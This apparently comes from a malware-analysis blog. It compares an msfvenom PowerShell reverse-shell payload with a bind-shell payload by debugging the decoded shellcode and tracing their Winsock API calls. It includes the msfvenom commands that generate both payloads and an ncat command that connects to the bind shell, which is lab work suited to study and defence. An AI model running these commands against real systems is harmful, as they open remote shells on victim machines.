In this post we’ll see 2 different powershell reflection payloads: a reverse shell and a bind shell. The purpose of the article is to show the differences between them and how we can determine crucial information like the IP address and the port contained in the reverse shell payload and the port which is opened on the machine using the bind shell payload.
Analyst: @GeeksCyber
The following command is used to generate a powershell script which will execute the reverse shell payload:
msfvenom -a x86 –platform windows -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -f psh-reflection
The purpose of the Powershell script is to allocate a new memory area using VirtualAlloc and execute the shellcode in the context of a new thread created using CreateThread function, as shown below:
Usually the script is encoded with Base64 because this way the attacker is able to execute it using -EncodedCommand option. We can decode the shellcode using base64 command with -d parameter:
Or we can use CyberChef (https://gchq.github.io/CyberChef/) to decode the base64 encoded code:
Now the idea is to transform the shellcode to an executable which can be debugged using x32dbg. The first step to achieve this is to prepend each byte with “\x” because that’s the form of the input the tool used to convert the shellcode expects, as shown in figure 4:
We use Shellcode2exe (https://www.aldeid.com/wiki/Shellcode2exe) to convert our shellcode to a windows executable:
If we open shellcode.exe in IDA and x32dbg we are able to analyze the binary as usual. We could use an online disassembler (https://onlinedisassembler.com/odaweb/) to determine if there is a chance that the shellcode has been generated using msfvenom:
Firstly the process tries to load the DLL which contains socket functions (ws2_32.dll) using LoadLibraryA API:
After the library is loaded into the memory of the process, it calls WSAStartup function to initiate the use of the Winsock DLL by the current process:
The WSASocketA API is used to create a socket, the parameters are described as follows:
- Af = 0x02 – AF_INET – IPv4 address family
- Type = 0x01 – SOCK_STREAM – the socket provides sequenced, reliable, two-way transmission mechanism
- protocol = 0x00 – the service provider will choose the protocol to use
- lpProtocolInfo = 0x00
- g = 0x00 – no group operation is performed
- dwFlags = 0x00 – a set of flags used to provide additional socket properties
The binary is using the “connect” function to establish a connection to a specified socket. The data structure that the second parameter is pointing to contains the port value (0x1BB = 443 in decimal) and the IP address (0xC0A8A481 = 192.168.164.129) which will be used to get a reverse shell:
After the function call, we can see a connection back to our attacker machine:
The malicious process executes cmd.exe by calling CreateProcessA with the required parameters as shown in the next figure. This step is necessary in order to have a shell on the victim host:
We’ve caught the reverse shell on port 443 on our machine:
Now the process is calling WaitForSingleObject API with INFINITE parameter (0xffffffff) and then it enters a waiting state because of it. This will end when the reverse shell would be killed:
At the end of the execution, the malicious process uses ExitProcess function (with an exit code of 0) to end the current process and all its threads:
Note: All of the API functions are located in the memory of the process based on some hashes of the function names. We can summarize the flow of the execution as follows: WSAStartup -> WSASocketA -> connect -> CreateProcessA -> WaitForSingleObject -> ExitProcess. We will construct a similar chain for the bind shellcode in the next paragraphs.
For the second part of the article we’ve generated a powershell script which ran a bind shell payload (port = 4444 by default):
msfvenom -a x86 –platform windows -p windows/shell_bind_tcp -f psh-reflection
As before, we’ve decoded the base64 encoded payload and converted to an executable called shellcode2.exe using Shellcode2exe python script. We’re going to debug the new executable using x32dbg and we’ll compare the flow of the execution with the first one. As in the first case, the first step is to load ws2_32.dll library using LoadLibraryA function:
The process performs a call to WSAStartup API in order to initiate the use of the Winsock DLL:
As before the binary creates a new socket using WSASocketA function. The parameters of the function call are the same as in the first case:
Starting with the next function calls the flow of the program is changing. There is a call to bind function where we can observe the address family equal to 0x02 (AF_INET) and the port which will be open on the machine (0x115c = 4444 in decimal):
Now the socket is placed in a state to listen for incoming connections using the listen API. The first parameter is a descriptor of the socket and the second one is called backlog and represents the maximum length of the queue of pending connections:
The process is using the accept function to allow an incoming connection attempt on the socket. The first parameter is a descriptor of the socket that was placed in a listening state and the other parameters are optional and set to 0:
Now we’re connecting to the victim machine using the following command:
ncat 192.168.164.128 4444
If anything went wrong and the connection is not successful, the program closes the socket using closesocket API:
Now we reach the point where everything went smoothly. As before the malicious program spawns a cmd.exe process using CreateProcessA function in order to have a shell on the victim host:
We’ve successfully performed all the necessary steps in order to obtain a shell on the machine:
As before there is a call to WaitForSingleObject API with INFINITE parameter (0xffffffff) which pauses the current process until the shell is killed/closed:
As a final step the binary is using ExitProcess function to finish the current process and all its threads:
Note: The chain of API calls for the 2nd payload: WSAStartup -> WSASocketA -> bind -> listen -> accept -> CreateProcessA -> WaitForSingleObject -> ExitProcess
References
https://gchq.github.io/CyberChef/
https://www.aldeid.com/wiki/Shellcode2exe